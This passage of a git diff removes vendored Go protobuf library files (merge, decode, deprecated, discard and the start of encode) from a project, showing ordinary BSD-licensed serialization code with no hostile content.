custom merge method that generated protos will have. -// We must add this method since a generate Merge method will conflict with -// many existing protos that have a Merge data field already defined. -type generatedMerger interface { - XXX_Merge(src Message) -} - -// Merge merges src into dst. -// Required and optional fields that are set in src will be set to that value in dst. -// Elements of repeated fields will be appended. -// Merge panics if src and dst are not the same type, or if dst is nil. -func Merge(dst, src Message) { - if m, ok := dst.(Merger); ok { - m.Merge(src) - return - } - - in := reflect.ValueOf(src) - out := reflect.ValueOf(dst) - if out.IsNil() { - panic("proto: nil destination") - } - if in.Type() != out.Type() { - panic(fmt.Sprintf("proto.Merge(%T, %T) type mismatch", dst, src)) - } - if in.IsNil() { - return // Merge from nil src is a noop - } - if m, ok := dst.(generatedMerger); ok { - m.XXX_Merge(src) - return - } - mergeStruct(out.Elem(), in.Elem()) -} - -func mergeStruct(out, in reflect.Value) { - sprop := GetProperties(in.Type()) - for i := 0; i < in.NumField(); i++ { - f := in.Type().Field(i) - if strings.HasPrefix(f.Name, "XXX_") { - continue - } - mergeAny(out.Field(i), in.Field(i), false, sprop.Prop[i]) - } - - if emIn, err := extendable(in.Addr().Interface()); err == nil { - emOut, _ := extendable(out.Addr().Interface()) - mIn, muIn := emIn.extensionsRead() - if mIn != nil { - mOut := emOut.extensionsWrite() - muIn.Lock() - mergeExtension(mOut, mIn) - muIn.Unlock() - } - } - - uf := in.FieldByName("XXX_unrecognized") - if !uf.IsValid() { - return - } - uin := uf.Bytes() - if len(uin) > 0 { - out.FieldByName("XXX_unrecognized").SetBytes(append([]byte(nil), uin...)) - } -} - -// mergeAny performs a merge between two values of the same type. -// viaPtr indicates whether the values were indirected through a pointer (implying proto2). -// prop is set if this is a struct field (it may be nil). -func mergeAny(out, in reflect.Value, viaPtr bool, prop *Properties) { - if in.Type() == protoMessageType { - if !in.IsNil() { - if out.IsNil() { - out.Set(reflect.ValueOf(Clone(in.Interface().(Message)))) - } else { - Merge(out.Interface().(Message), in.Interface().(Message)) - } - } - return - } - switch in.Kind() { - case reflect.Bool, reflect.Float32, reflect.Float64, reflect.Int32, reflect.Int64, - reflect.String, reflect.Uint32, reflect.Uint64: - if !viaPtr && isProto3Zero(in) { - return - } - out.Set(in) - case reflect.Interface: - // Probably a oneof field; copy non-nil values. - if in.IsNil() { - return - } - // Allocate destination if it is not set, or set to a different type. - // Otherwise we will merge as normal. - if out.IsNil() || out.Elem().Type() != in.Elem().Type() { - out.Set(reflect.New(in.Elem().Elem().Type())) // interface -> *T -> T -> new(T) - } - mergeAny(out.Elem(), in.Elem(), false, nil) - case reflect.Map: - if in.Len() == 0 { - return - } - if out.IsNil() { - out.Set(reflect.MakeMap(in.Type())) - } - // For maps with value types of *T or []byte we need to deep copy each value. - elemKind := in.Type().Elem().Kind() - for _, key := range in.MapKeys() { - var val reflect.Value - switch elemKind { - case reflect.Ptr: - val = reflect.New(in.Type().Elem().Elem()) - mergeAny(val, in.MapIndex(key), false, nil) - case reflect.Slice: - val = in.MapIndex(key) - val = reflect.ValueOf(append([]byte{}, val.Bytes()...)) - default: - val = in.MapIndex(key) - } - out.SetMapIndex(key, val) - } - case reflect.Ptr: - if in.IsNil() { - return - } - if out.IsNil() { - out.Set(reflect.New(in.Elem().Type())) - } - mergeAny(out.Elem(), in.Elem(), true, nil) - case reflect.Slice: - if in.IsNil() { - return - } - if in.Type().Elem().Kind() == reflect.Uint8 { - // []byte is a scalar bytes field, not a repeated field. - - // Edge case: if this is in a proto3 message, a zero length - // bytes field is considered the zero value, and should not - // be merged. - if prop != nil && prop.proto3 && in.Len() == 0 { - return - } - - // Make a deep copy. - // Append to []byte{} instead of []byte(nil) so that we never end up - // with a nil result. - out.SetBytes(append([]byte{}, in.Bytes()...)) - return - } - n := in.Len() - if out.IsNil() { - out.Set(reflect.MakeSlice(in.Type(), 0, n)) - } - switch in.Type().Elem().Kind() { - case reflect.Bool, reflect.Float32, reflect.Float64, reflect.Int32, reflect.Int64, - reflect.String, reflect.Uint32, reflect.Uint64: - out.Set(reflect.AppendSlice(out, in)) - default: - for i := 0; i < n; i++ { - x := reflect.Indirect(reflect.New(in.Type().Elem())) - mergeAny(x, in.Index(i), false, nil) - out.Set(reflect.Append(out, x)) - } - } - case reflect.Struct: - mergeStruct(out, in) - default: - // unknown type, so not a protocol buffer - log.Printf("proto: don't know how to copy %v", in) - } -} - -func mergeExtension(out, in map[int32]Extension) { - for extNum, eIn := range in { - eOut := Extension{desc: eIn.desc} - if eIn.value != nil { - v := reflect.New(reflect.TypeOf(eIn.value)).Elem() - mergeAny(v, reflect.ValueOf(eIn.value), false, nil) - eOut.value = v.Interface() - } - if eIn.enc != nil { - eOut.enc = make([]byte, len(eIn.enc)) - copy(eOut.enc, eIn.enc) - } - - out[extNum] = eOut - } -} diff --git a/vendor/github.com/golang/protobuf/proto/decode.go b/vendor/github.com/golang/protobuf/proto/decode.go deleted file mode 100644 index 63b0f08bef..0000000000 --- a/vendor/github.com/golang/protobuf/proto/decode.go +++ /dev/null @@ -1,427 +0,0 @@ -// Go support for Protocol Buffers - Google's data interchange format -// -// Copyright 2010 The Go Authors. All rights reserved. -// https://github.com/golang/protobuf -// -// Redistribution and use in source and binary forms, with or without -// modification, are permitted provided that the following conditions are -// met: -// -// * Redistributions of source code must retain the above copyright -// notice, this list of conditions and the following disclaimer. -// * Redistributions in binary form must reproduce the above -// copyright notice, this list of conditions and the following disclaimer -// in the documentation and/or other materials provided with the -// distribution. -// * Neither the name of Google Inc. nor the names of its -// contributors may be used to endorse or promote products derived from -// this software without specific prior written permission. -// -// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - -package proto - -/* - * Routines for decoding protocol buffer data to construct in-memory representations. - */ - -import ( - "errors" - "fmt" - "io" -) - -// errOverflow is returned when an integer is too large to be represented. -var errOverflow = errors.New("proto: integer overflow") - -// ErrInternalBadWireType is returned by generated code when an incorrect -// wire type is encountered. It does not get returned to user code. -var ErrInternalBadWireType = errors.New("proto: internal error: bad wiretype for oneof") - -// DecodeVarint reads a varint-encoded integer from the slice. -// It returns the integer and the number of bytes consumed, or -// zero if there is not enough. -// This is the format for the -// int32, int64, uint32, uint64, bool, and enum -// protocol buffer types. -func DecodeVarint(buf []byte) (x uint64, n int) { - for shift := uint(0); shift < 64; shift += 7 { - if n >= len(buf) { - return 0, 0 - } - b := uint64(buf[n]) - n++ - x |= (b & 0x7F) << shift - if (b & 0x80) == 0 { - return x, n - } - } - - // The number is too large to represent in a 64-bit value. - return 0, 0 -} - -func (p *Buffer) decodeVarintSlow() (x uint64, err error) { - i := p.index - l := len(p.buf) - - for shift := uint(0); shift < 64; shift += 7 { - if i >= l { - err = io.ErrUnexpectedEOF - return - } - b := p.buf[i] - i++ - x |= (uint64(b) & 0x7F) << shift - if b < 0x80 { - p.index = i - return - } - } - - // The number is too large to represent in a 64-bit value. - err = errOverflow - return -} - -// DecodeVarint reads a varint-encoded integer from the Buffer. -// This is the format for the -// int32, int64, uint32, uint64, bool, and enum -// protocol buffer types. -func (p *Buffer) DecodeVarint() (x uint64, err error) { - i := p.index - buf := p.buf - - if i >= len(buf) { - return 0, io.ErrUnexpectedEOF - } else if buf[i] < 0x80 { - p.index++ - return uint64(buf[i]), nil - } else if len(buf)-i < 10 { - return p.decodeVarintSlow() - } - - var b uint64 - // we already checked the first byte - x = uint64(buf[i]) - 0x80 - i++ - - b = uint64(buf[i]) - i++ - x += b << 7 - if b&0x80 == 0 { - goto done - } - x -= 0x80 << 7 - - b = uint64(buf[i]) - i++ - x += b << 14 - if b&0x80 == 0 { - goto done - } - x -= 0x80 << 14 - - b = uint64(buf[i]) - i++ - x += b << 21 - if b&0x80 == 0 { - goto done - } - x -= 0x80 << 21 - - b = uint64(buf[i]) - i++ - x += b << 28 - if b&0x80 == 0 { - goto done - } - x -= 0x80 << 28 - - b = uint64(buf[i]) - i++ - x += b << 35 - if b&0x80 == 0 { - goto done - } - x -= 0x80 << 35 - - b = uint64(buf[i]) - i++ - x += b << 42 - if b&0x80 == 0 { - goto done - } - x -= 0x80 << 42 - - b = uint64(buf[i]) - i++ - x += b << 49 - if b&0x80 == 0 { - goto done - } - x -= 0x80 << 49 - - b = uint64(buf[i]) - i++ - x += b << 56 - if b&0x80 == 0 { - goto done - } - x -= 0x80 << 56 - - b = uint64(buf[i]) - i++ - x += b << 63 - if b&0x80 == 0 { - goto done - } - - return 0, errOverflow - -done: - p.index = i - return x, nil -} - -// DecodeFixed64 reads a 64-bit integer from the Buffer. -// This is the format for the -// fixed64, sfixed64, and double protocol buffer types. -func (p *Buffer) DecodeFixed64() (x uint64, err error) { - // x, err already 0 - i := p.index + 8 - if i < 0 || i > len(p.buf) { - err = io.ErrUnexpectedEOF - return - } - p.index = i - - x = uint64(p.buf[i-8]) - x |= uint64(p.buf[i-7]) << 8 - x |= uint64(p.buf[i-6]) << 16 - x |= uint64(p.buf[i-5]) << 24 - x |= uint64(p.buf[i-4]) << 32 - x |= uint64(p.buf[i-3]) << 40 - x |= uint64(p.buf[i-2]) << 48 - x |= uint64(p.buf[i-1]) << 56 - return -} - -// DecodeFixed32 reads a 32-bit integer from the Buffer. -// This is the format for the -// fixed32, sfixed32, and float protocol buffer types. -func (p *Buffer) DecodeFixed32() (x uint64, err error) { - // x, err already 0 - i := p.index + 4 - if i < 0 || i > len(p.buf) { - err = io.ErrUnexpectedEOF - return - } - p.index = i - - x = uint64(p.buf[i-4]) - x |= uint64(p.buf[i-3]) << 8 - x |= uint64(p.buf[i-2]) << 16 - x |= uint64(p.buf[i-1]) << 24 - return -} - -// DecodeZigzag64 reads a zigzag-encoded 64-bit integer -// from the Buffer. -// This is the format used for the sint64 protocol buffer type. -func (p *Buffer) DecodeZigzag64() (x uint64, err error) { - x, err = p.DecodeVarint() - if err != nil { - return - } - x = (x >> 1) ^ uint64((int64(x&1)<<63)>>63) - return -} - -// DecodeZigzag32 reads a zigzag-encoded 32-bit integer -// from the Buffer. -// This is the format used for the sint32 protocol buffer type. -func (p *Buffer) DecodeZigzag32() (x uint64, err error) { - x, err = p.DecodeVarint() - if err != nil { - return - } - x = uint64((uint32(x) >> 1) ^ uint32((int32(x&1)<<31)>>31)) - return -} - -// DecodeRawBytes reads a count-delimited byte buffer from the Buffer. -// This is the format used for the bytes protocol buffer -// type and for embedded messages. -func (p *Buffer) DecodeRawBytes(alloc bool) (buf []byte, err error) { - n, err := p.DecodeVarint() - if err != nil { - return nil, err - } - - nb := int(n) - if nb < 0 { - return nil, fmt.Errorf("proto: bad byte length %d", nb) - } - end := p.index + nb - if end < p.index || end > len(p.buf) { - return nil, io.ErrUnexpectedEOF - } - - if !alloc { - // todo: check if can get more uses of alloc=false - buf = p.buf[p.index:end] - p.index += nb - return - } - - buf = make([]byte, nb) - copy(buf, p.buf[p.index:]) - p.index += nb - return -} - -// DecodeStringBytes reads an encoded string from the Buffer. -// This is the format used for the proto2 string type. -func (p *Buffer) DecodeStringBytes() (s string, err error) { - buf, err := p.DecodeRawBytes(false) - if err != nil { - return - } - return string(buf), nil -} - -// Unmarshaler is the interface representing objects that can -// unmarshal themselves. The argument points to data that may be -// overwritten, so implementations should not keep references to the -// buffer. -// Unmarshal implementations should not clear the receiver. -// Any unmarshaled data should be merged into the receiver. -// Callers of Unmarshal that do not want to retain existing data -// should Reset the receiver before calling Unmarshal. -type Unmarshaler interface { - Unmarshal([]byte) error -} - -// newUnmarshaler is the interface representing objects that can -// unmarshal themselves. The semantics are identical to Unmarshaler. -// -// This exists to support protoc-gen-go generated messages. -// The proto package will stop type-asserting to this interface in the future. -// -// DO NOT DEPEND ON THIS. -type newUnmarshaler interface { - XXX_Unmarshal([]byte) error -} - -// Unmarshal parses the protocol buffer representation in buf and places the -// decoded result in pb. If the struct underlying pb does not match -// the data in buf, the results can be unpredictable. -// -// Unmarshal resets pb before starting to unmarshal, so any -// existing data in pb is always removed. Use UnmarshalMerge -// to preserve and append to existing data. -func Unmarshal(buf []byte, pb Message) error { - pb.Reset() - if u, ok := pb.(newUnmarshaler); ok { - return u.XXX_Unmarshal(buf) - } - if u, ok := pb.(Unmarshaler); ok { - return u.Unmarshal(buf) - } - return NewBuffer(buf).Unmarshal(pb) -} - -// UnmarshalMerge parses the protocol buffer representation in buf and -// writes the decoded result to pb. If the struct underlying pb does not match -// the data in buf, the results can be unpredictable. -// -// UnmarshalMerge merges into existing data in pb. -// Most code should use Unmarshal instead. -func UnmarshalMerge(buf []byte, pb Message) error { - if u, ok := pb.(newUnmarshaler); ok { - return u.XXX_Unmarshal(buf) - } - if u, ok := pb.(Unmarshaler); ok { - // NOTE: The history of proto have unfortunately been inconsistent - // whether Unmarshaler should or should not implicitly clear itself. - // Some implementations do, most do not. - // Thus, calling this here may or may not do what people want. - // - // See https://github.com/golang/protobuf/issues/424 - return u.Unmarshal(buf) - } - return NewBuffer(buf).Unmarshal(pb) -} - -// DecodeMessage reads a count-delimited message from the Buffer. -func (p *Buffer) DecodeMessage(pb Message) error { - enc, err := p.DecodeRawBytes(false) - if err != nil { - return err - } - return NewBuffer(enc).Unmarshal(pb) -} - -// DecodeGroup reads a tag-delimited group from the Buffer. -// StartGroup tag is already consumed. This function consumes -// EndGroup tag. -func (p *Buffer) DecodeGroup(pb Message) error { - b := p.buf[p.index:] - x, y := findEndGroup(b) - if x < 0 { - return io.ErrUnexpectedEOF - } - err := Unmarshal(b[:x], pb) - p.index += y - return err -} - -// Unmarshal parses the protocol buffer representation in the -// Buffer and places the decoded result in pb. If the struct -// underlying pb does not match the data in the buffer, the results can be -// unpredictable. -// -// Unlike proto.Unmarshal, this does not reset pb before starting to unmarshal. -func (p *Buffer) Unmarshal(pb Message) error { - // If the object can unmarshal itself, let it. - if u, ok := pb.(newUnmarshaler); ok { - err := u.XXX_Unmarshal(p.buf[p.index:]) - p.index = len(p.buf) - return err - } - if u, ok := pb.(Unmarshaler); ok { - // NOTE: The history of proto have unfortunately been inconsistent - // whether Unmarshaler should or should not implicitly clear itself. - // Some implementations do, most do not. - // Thus, calling this here may or may not do what people want. - // - // See https://github.com/golang/protobuf/issues/424 - err := u.Unmarshal(p.buf[p.index:]) - p.index = len(p.buf) - return err - } - - // Slow workaround for messages that aren't Unmarshalers. - // This includes some hand-coded .pb.go files and - // bootstrap protos. - // TODO: fix all of those and then add Unmarshal to - // the Message interface. Then: - // The cast above and code below can be deleted. - // The old unmarshaler can be deleted. - // Clients can call Unmarshal directly (can already do that, actually). - var info InternalMessageInfo - err := info.Unmarshal(pb, p.buf[p.index:]) - p.index = len(p.buf) - return err -} diff --git a/vendor/github.com/golang/protobuf/proto/deprecated.go b/vendor/github.com/golang/protobuf/proto/deprecated.go deleted file mode 100644 index 35b882c09a..0000000000 --- a/vendor/github.com/golang/protobuf/proto/deprecated.go +++ /dev/null @@ -1,63 +0,0 @@ -// Go support for Protocol Buffers - Google's data interchange format -// -// Copyright 2018 The Go Authors. All rights reserved. -// https://github.com/golang/protobuf -// -// Redistribution and use in source and binary forms, with or without -// modification, are permitted provided that the following conditions are -// met: -// -// * Redistributions of source code must retain the above copyright -// notice, this list of conditions and the following disclaimer. -// * Redistributions in binary form must reproduce the above -// copyright notice, this list of conditions and the following disclaimer -// in the documentation and/or other materials provided with the -// distribution. -// * Neither the name of Google Inc. nor the names of its -// contributors may be used to endorse or promote products derived from -// this software without specific prior written permission. -// -// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - -package proto - -import "errors" - -// Deprecated: do not use. -type Stats struct{ Emalloc, Dmalloc, Encode, Decode, Chit, Cmiss, Size uint64 } - -// Deprecated: do not use. -func GetStats() Stats { return Stats{} } - -// Deprecated: do not use. -func MarshalMessageSet(interface{}) ([]byte, error) { - return nil, errors.New("proto: not implemented") -} - -// Deprecated: do not use. -func UnmarshalMessageSet([]byte, interface{}) error { - return errors.New("proto: not implemented") -} - -// Deprecated: do not use. -func MarshalMessageSetJSON(interface{}) ([]byte, error) { - return nil, errors.New("proto: not implemented") -} - -// Deprecated: do not use. -func UnmarshalMessageSetJSON([]byte, interface{}) error { - return errors.New("proto: not implemented") -} - -// Deprecated: do not use. -func RegisterMessageSetType(Message, int32, string) {} diff --git a/vendor/github.com/golang/protobuf/proto/discard.go b/vendor/github.com/golang/protobuf/proto/discard.go deleted file mode 100644 index dea2617ced..0000000000 --- a/vendor/github.com/golang/protobuf/proto/discard.go +++ /dev/null @@ -1,350 +0,0 @@ -// Go support for Protocol Buffers - Google's data interchange format -// -// Copyright 2017 The Go Authors. All rights reserved. -// https://github.com/golang/protobuf -// -// Redistribution and use in source and binary forms, with or without -// modification, are permitted provided that the following conditions are -// met: -// -// * Redistributions of source code must retain the above copyright -// notice, this list of conditions and the following disclaimer. -// * Redistributions in binary form must reproduce the above -// copyright notice, this list of conditions and the following disclaimer -// in the documentation and/or other materials provided with the -// distribution. -// * Neither the name of Google Inc. nor the names of its -// contributors may be used to endorse or promote products derived from -// this software without specific prior written permission. -// -// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - -package proto - -import ( - "fmt" - "reflect" - "strings" - "sync" - "sync/atomic" -) - -type generatedDiscarder interface { - XXX_DiscardUnknown() -} - -// DiscardUnknown recursively discards all unknown fields from this message -// and all embedded messages. -// -// When unmarshaling a message with unrecognized fields, the tags and values -// of such fields are preserved in the Message. This allows a later call to -// marshal to be able to produce a message that continues to have those -// unrecognized fields. To avoid this, DiscardUnknown is used to -// explicitly clear the unknown fields after unmarshaling. -// -// For proto2 messages, the unknown fields of message extensions are only -// discarded from messages that have been accessed via GetExtension. -func DiscardUnknown(m Message) { - if m, ok := m.(generatedDiscarder); ok { - m.XXX_DiscardUnknown() - return - } - // TODO: Dynamically populate a InternalMessageInfo for legacy messages, - // but the master branch has no implementation for InternalMessageInfo, - // so it would be more work to replicate that approach. - discardLegacy(m) -} - -// DiscardUnknown recursively discards all unknown fields. -func (a *InternalMessageInfo) DiscardUnknown(m Message) { - di := atomicLoadDiscardInfo(&a.discard) - if di == nil { - di = getDiscardInfo(reflect.TypeOf(m).Elem()) - atomicStoreDiscardInfo(&a.discard, di) - } - di.discard(toPointer(&m)) -} - -type discardInfo struct { - typ reflect.Type - - initialized int32 // 0: only typ is valid, 1: everything is valid - lock sync.Mutex - - fields []discardFieldInfo - unrecognized field -} - -type discardFieldInfo struct { - field field // Offset of field, guaranteed to be valid - discard func(src pointer) -} - -var ( - discardInfoMap = map[reflect.Type]*discardInfo{} - discardInfoLock sync.Mutex -) - -func getDiscardInfo(t reflect.Type) *discardInfo { - discardInfoLock.Lock() - defer discardInfoLock.Unlock() - di := discardInfoMap[t] - if di == nil { - di = &discardInfo{typ: t} - discardInfoMap[t] = di - } - return di -} - -func (di *discardInfo) discard(src pointer) { - if src.isNil() { - return // Nothing to do. - } - - if atomic.LoadInt32(&di.initialized) == 0 { - di.computeDiscardInfo() - } - - for _, fi := range di.fields { - sfp := src.offset(fi.field) - fi.discard(sfp) - } - - // For proto2 messages, only discard unknown fields in message extensions - // that have been accessed via GetExtension. - if em, err := extendable(src.asPointerTo(di.typ).Interface()); err == nil { - // Ignore lock since DiscardUnknown is not concurrency safe. - emm, _ := em.extensionsRead() - for _, mx := range emm { - if m, ok := mx.value.(Message); ok { - DiscardUnknown(m) - } - } - } - - if di.unrecognized.IsValid() { - *src.offset(di.unrecognized).toBytes() = nil - } -} - -func (di *discardInfo) computeDiscardInfo() { - di.lock.Lock() - defer di.lock.Unlock() - if di.initialized != 0 { - return - } - t := di.typ - n := t.NumField() - - for i := 0; i < n; i++ { - f := t.Field(i) - if strings.HasPrefix(f.Name, "XXX_") { - continue - } - - dfi := discardFieldInfo{field: toField(&f)} - tf := f.Type - - // Unwrap tf to get its most basic type. - var isPointer, isSlice bool - if tf.Kind() == reflect.Slice && tf.Elem().Kind() != reflect.Uint8 { - isSlice = true - tf = tf.Elem() - } - if tf.Kind() == reflect.Ptr { - isPointer = true - tf = tf.Elem() - } - if isPointer && isSlice && tf.Kind() != reflect.Struct { - panic(fmt.Sprintf("%v.%s cannot be a slice of pointers to primitive types", t, f.Name)) - } - - switch tf.Kind() { - case reflect.Struct: - switch { - case !isPointer: - panic(fmt.Sprintf("%v.%s cannot be a direct struct value", t, f.Name)) - case isSlice: // E.g., []*pb.T - di := getDiscardInfo(tf) - dfi.discard = func(src pointer) { - sps := src.getPointerSlice() - for _, sp := range sps { - if !sp.isNil() { - di.discard(sp) - } - } - } - default: // E.g., *pb.T - di := getDiscardInfo(tf) - dfi.discard = func(src pointer) { - sp := src.getPointer() - if !sp.isNil() { - di.discard(sp) - } - } - } - case reflect.Map: - switch { - case isPointer || isSlice: - panic(fmt.Sprintf("%v.%s cannot be a pointer to a map or a slice of map values", t, f.Name)) - default: // E.g., map[K]V - if tf.Elem().Kind() == reflect.Ptr { // Proto struct (e.g., *T) - dfi.discard = func(src pointer) { - sm := src.asPointerTo(tf).Elem() - if sm.Len() == 0 { - return - } - for _, key := range sm.MapKeys() { - val := sm.MapIndex(key) - DiscardUnknown(val.Interface().(Message)) - } - } - } else { - dfi.discard = func(pointer) {} // Noop - } - } - case reflect.Interface: - // Must be oneof field. - switch { - case isPointer || isSlice: - panic(fmt.Sprintf("%v.%s cannot be a pointer to a interface or a slice of interface values", t, f.Name)) - default: // E.g., interface{} - // TODO: Make this faster? - dfi.discard = func(src pointer) { - su := src.asPointerTo(tf).Elem() - if !su.IsNil() { - sv := su.Elem().Elem().Field(0) - if sv.Kind() == reflect.Ptr && sv.IsNil() { - return - } - switch sv.Type().Kind() { - case reflect.Ptr: // Proto struct (e.g., *T) - DiscardUnknown(sv.Interface().(Message)) - } - } - } - } - default: - continue - } - di.fields = append(di.fields, dfi) - } - - di.unrecognized = invalidField - if f, ok := t.FieldByName("XXX_unrecognized"); ok { - if f.Type != reflect.TypeOf([]byte{}) { - panic("expected XXX_unrecognized to be of type []byte") - } - di.unrecognized = toField(&f) - } - - atomic.StoreInt32(&di.initialized, 1) -} - -func discardLegacy(m Message) { - v := reflect.ValueOf(m) - if v.Kind() != reflect.Ptr || v.IsNil() { - return - } - v = v.Elem() - if v.Kind() != reflect.Struct { - return - } - t := v.Type() - - for i := 0; i < v.NumField(); i++ { - f := t.Field(i) - if strings.HasPrefix(f.Name, "XXX_") { - continue - } - vf := v.Field(i) - tf := f.Type - - // Unwrap tf to get its most basic type. - var isPointer, isSlice bool - if tf.Kind() == reflect.Slice && tf.Elem().Kind() != reflect.Uint8 { - isSlice = true - tf = tf.Elem() - } - if tf.Kind() == reflect.Ptr { - isPointer = true - tf = tf.Elem() - } - if isPointer && isSlice && tf.Kind() != reflect.Struct { - panic(fmt.Sprintf("%T.%s cannot be a slice of pointers to primitive types", m, f.Name)) - } - - switch tf.Kind() { - case reflect.Struct: - switch { - case !isPointer: - panic(fmt.Sprintf("%T.%s cannot be a direct struct value", m, f.Name)) - case isSlice: // E.g., []*pb.T - for j := 0; j < vf.Len(); j++ { - discardLegacy(vf.Index(j).Interface().(Message)) - } - default: // E.g., *pb.T - discardLegacy(vf.Interface().(Message)) - } - case reflect.Map: - switch { - case isPointer || isSlice: - panic(fmt.Sprintf("%T.%s cannot be a pointer to a map or a slice of map values", m, f.Name)) - default: // E.g., map[K]V - tv := vf.Type().Elem() - if tv.Kind() == reflect.Ptr && tv.Implements(protoMessageType) { // Proto struct (e.g., *T) - for _, key := range vf.MapKeys() { - val := vf.MapIndex(key) - discardLegacy(val.Interface().(Message)) - } - } - } - case reflect.Interface: - // Must be oneof field. - switch { - case isPointer || isSlice: - panic(fmt.Sprintf("%T.%s cannot be a pointer to a interface or a slice of interface values", m, f.Name)) - default: // E.g., test_proto.isCommunique_Union interface - if !vf.IsNil() && f.Tag.Get("protobuf_oneof") != "" { - vf = vf.Elem() // E.g., *test_proto.Communique_Msg - if !vf.IsNil() { - vf = vf.Elem() // E.g., test_proto.Communique_Msg - vf = vf.Field(0) // E.g., Proto struct (e.g., *T) or primitive value - if vf.Kind() == reflect.Ptr { - discardLegacy(vf.Interface().(Message)) - } - } - } - } - } - } - - if vf := v.FieldByName("XXX_unrecognized"); vf.IsValid() { - if vf.Type() != reflect.TypeOf([]byte{}) { - panic("expected XXX_unrecognized to be of type []byte") - } - vf.Set(reflect.ValueOf([]byte(nil))) - } - - // For proto2 messages, only discard unknown fields in message extensions - // that have been accessed via GetExtension. - if em, err := extendable(m); err == nil { - // Ignore lock since discardLegacy is not concurrency safe. - emm, _ := em.extensionsRead() - for _, mx := range emm { - if m, ok := mx.value.(Message); ok { - discardLegacy(m) - } - } - } -} diff --git a/vendor/github.com/golang/protobuf/proto/encode.go b/vendor/github.com/golang/protobuf/proto/encode.go deleted file mode 100644 index 3abfed2cff..0000000000 --- a/vendor/github.com/golang/protobuf/proto/encode.go +++ /dev/null @@ -1,203 +0,0 @@ -// Go support for Protocol Buffers - Google's data interchange format -// -// Copyright 2010 The Go Authors. All rights reserved. -// https://github.com/golang/protobuf -// -// Redistribution and use in source and binary forms, with or without -// modification, are permitted provided that the following conditions are -// met: -// -// * Redistributions of source code must retain the above copyright -// notice, this list of conditions and the following disclaimer. -// * Redistributions in binary form must reproduce the above -// copyright notice, this list of conditions and the following disclaimer -// in the documentation and/or other materials provided with the -// distribution. -// * Neither the name of Google Inc. nor the names of its -// contributors may be used to endorse or promote products derived from -// this software without specific prior written permission. -// -// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - -package proto - -/* - * Routines for encoding data into the wire format for protocol buffers. - */ - -import ( - "errors" - "reflect" -) - -var ( - // errRepeatedHasNil is the error returned if Marshal is called with - // a struct with a repeated field containing a nil element. - errRepeatedHasNil = errors.New("proto: repeated field has nil element") - - // errOneofHasNil is the error returned if Marshal is called with - // a 